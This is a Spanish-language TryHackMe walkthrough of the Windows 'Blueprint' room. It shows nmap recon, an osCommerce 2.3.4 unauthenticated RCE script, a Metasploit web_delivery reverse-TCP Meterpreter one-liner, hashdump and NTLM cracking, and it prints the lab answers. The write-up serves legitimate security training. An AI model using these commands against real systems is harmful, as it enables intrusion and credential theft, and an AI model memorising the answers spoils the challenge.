Blueprint - TryHackMe

xhetic

xhetic

@xhetic

TryHackMeWindowsEasy
Blueprint - TryHackMe

📚 Esta publicación pertenece a la colección:

Blueprint - TryHackMe Walkthrough

Bienvenido a mi writeup de la máquina Blueprint de TryHackMe.
Una room curiosa porque no hay que escalar privilegios.

Room: Blueprint
Dificultad: Easy
OS: Windows
Objetivo: Obtener acceso al sistema y recuperar la contraseña en texto plano del usuario LAB

🎯 Información del Objetivo

IP Target: 10.112.182.33

🔍 Fase 1: Reconocimiento (RECON)

Comprobación de Conectividad

Empiezo verificando que la máquina está activa:

ping -c1 10.112.182.33
  • -c1 → Envía solo 1 paquete ICMP y para
▶ output
64 bytes from 10.112.182.33: icmp_seq=1 ttl=126 time=47.5 ms

Recibo respuesta. El TTL del paquete es 126, lo que indica que posiblemente estamos ante una máquina Windows (TTL nativo 128, decrementado por el salto de red).

💡 Referencia rápida de TTL:

  • TTL ≈ 64 → Linux/Unix
  • TTL ≈ 128 → Windows

Escaneo de Puertos

Hago un primer escaneo rápido para descubrir los puertos abiertos:

nmap --open --min-rate 5000 -vvv -n -Pn 10.112.182.33
  • --open → Muestra solo puertos abiertos
  • --min-rate 5000 → Mínimo 5000 paquetes por segundo
  • -vvv → Máxima verbosidad
  • -n → Sin resolución DNS
  • -Pn → Sin ping previo, trata el host como activo

Hay bastantes puertos abiertos: 80, 135, 139, 443, 445, 3306, 8080.
La combinación de SMB (139/445), MySQL/MariaDB (3306) y dos servidores web (80 y 8080/443) tiene buena pinta.

Con los puertos identificados, lanzo un escaneo de versiones:

nmap -p80,135,139,443,445,3306,8080,49152,49153,49154,49158,49159,49160 -sCV 10.112.182.33
  • -p80,135... → Puertos concretos separados por comas.
  • -sC → Scripts NSE por defecto
  • -sV → Detección de versiones de los servicios

Resultado detallado del escaneo nmap

Los resultados más relevantes:

  • Puerto 80: Microsoft IIS 7.5 — devuelve 404
  • Puerto 443 y 8080: Apache 2.4.23 con osCommerce 2.3.4 en /oscommerce-2.3.4/catalog/
  • Puerto 445: SMB — identifica el OS como Windows 7 Home Basic 7601 SP1
  • Puerto 3306: MariaDB/MySQL accesible sin autorización

📁 Fase 2: Enumeración

Investigación Web

Al acceder al puerto 80 solo aparece un 404 de IIS.

Mientras sigo explorando, lanzo dirb en paralelo:

dirb http://10.112.182.33 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

Fuzzing de directorios sobre el IIS del puerto 80

No encuentro nada útil en el IIS.

Los puertos 443 y 8080 muestran un directory listing con los archivos de osCommerce.

Al intentar navegar por la tienda, parece que no está configurada correctamente o no es accesible desde fuera.

Búsqueda de Exploits

Con las versiones identificadas por nmap, busco exploits disponibles:

searchsploit oscommerce 2.3.4

Búsqueda en la base de datos de ExploitDB

▶ output
osCommerce 2.3.4   - Multiple Vulnerabilities                                                 | php/webapps/34582.txt
osCommerce 2.3.4.1 - 'currency' SQL Injection                                               | php/webapps/46328.txt
osCommerce 2.3.4.1 - 'products_id' SQL Injection                                            | php/webapps/46329.txt
osCommerce 2.3.4.1 - 'reviews_id' SQL Injection                                             | php/webapps/46330.txt
osCommerce 2.3.4.1 - 'title' Persistent Cross-Site Scripting                                | php/webapps/49103.txt
osCommerce 2.3.4.1 - Arbitrary File Upload                                                  | php/webapps/43191.py
osCommerce 2.3.4.1 - Remote Code Execution                                                  | php/webapps/44374.py
osCommerce 2.3.4.1 - Remote Code Execution (2)                                              | php/webapps/50128.py

Hay varias entradas: inyecciones SQL, XSS, subida de archivos arbitraria y lo más interesante — Remote Code Execution.

Me informo por Internet sobre esta versión y las diferentes vulnerabilidades que presenta.

En GitHub encuentro un script Python que explota directamente la vulnerabilidad RCE de osCommerce 2.3.4 sin necesidad de autenticación. Este, aprovecha el directorio de instalación sin proteger de osCommerce para escribir y ejecutar un webshell PHP.

⛓️ Enlace a repositorio GitHub

🚀 Fase 3: Explotación — osCommerce RCE

Descargo el script y lo ejecuto apuntando al catálogo en el puerto 8080:

python3 osCommerce2_3_4RCE.py http://10.112.182.33:8080/oscommerce-2.3.4/catalog/

Formato del script : python3 osCommerce2_3_4RCE.py <url>

De forma inmediata obtengo una terminal interactiva de comandos:

Terminal RCE con osCommerce — usuario nt authority\system

Ejecuto whoami y el resultado es inmediato: nt authority\system.

Sin escalada de privilegios necesaria.

Obteniendo una Sesión Meterpreter

La shell del RCE es funcional pero limitada. Para trabajar con más comodidad, obtengo una sesión Meterpreter usando el módulo multi/script/web_delivery de Metasploit.

Este módulo levanta un servidor web temporal y genera un one-liner que, al ejecutarse en la víctima, descarga y lanza el payload:

use exploit/multi/script/web_delivery
set LHOST <TU_IP>
set LPORT 4444
set payload windows/meterpreter/reverse_tcp
run

web_delivery genera un comando PowerShell para ejecutar en la máquina víctima

Metasploit devuelve un comando de PowerShell. Lo copio y lo pego en la terminal del RCE.

En segundos recibo la conexión de vuelta:

Sesión Meterpreter establecida como NT AUTHORITY\SYSTEM

Tengo sesión Meterpreter activa como SYSTEM.

🚩 Flag de Root

La flag se encuentra en el escritorio del Administrador:

C:\Users\Administrator\Desktop\root.txt.txt

🚩 Flag de root capturada!

🔐 Fase 4: Volcado y Crackeo de Credenciales

La room pide la contraseña en texto plano del usuario LAB. Desde la sesión Meterpreter ejecuto:

hashdump

Vuelca los hashes NTLM de todos los usuarios locales del sistema

Salida de hashdump con los hashes NTLM del sistema

Obtengo los hashes de todos los usuarios. El hash NTLM perteneciente al usuario LAB es:

30e87bf999828446a1c1209ddde4c450

Crackeo del Hash

Intento crackearlo con John the Ripper:

john --format=NT hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Por algún motivo John reporta que ha terminado de forma instantánea, pero no muestra ninguna contraseña.

En lugar de seguir depurando, pruebo directamente con CrackStation:

CrackStation crackeando el hash NTLM del usuario LAB
Click para ver imagen

CrackStation identifica el hash sin problemas. La contraseña en texto plano del usuario LAB es:

googleplus

Ya tenemos toda la información para responder a todas las preguntas de la room.

📊 Resumen

Cadena de Ataque

Nmap → osCommerce 2.3.4 expuesto en puerto 8080 → RCE sin autenticación → NT AUTHORITY\SYSTEM → Meterpreter → hashdump → CrackStation → Contraseña LAB

Herramientas Utilizadas

  • nmap — Reconocimiento de puertos y servicios
  • dirb — Fuzzing de directorios web
  • searchsploit — Búsqueda de exploits en ExploitDB
  • Metasploit — Framework de explotación (web_delivery + Meterpreter)
  • John the Ripper — Intento de crackeo de hashes
  • CrackStation — Crackeo de hashes online

🛡️ Vulnerabilidades y Mitigaciones

VulnerabilidadSeveridadMitigación
Directorio de instalación de osCommerce expuesto públicamenteCRÍTICAEliminar el directorio /install/ tras la configuración inicial
osCommerce 2.3.4 — RCE sin autenticaciónCRÍTICAActualizar a una versión con soporte activo o migrar de plataforma
Windows 7 SP1 sin soporte desde enero 2020ALTAMigrar a un sistema operativo con soporte activo de seguridad
Contraseña débil del usuario LABMEDIAUsar contraseñas robustas; evitar palabras presentes en diccionarios

📚 Referencias


🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.

Happy Hacking! 🎩🔐

Sigueme en TryHackMe :

Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.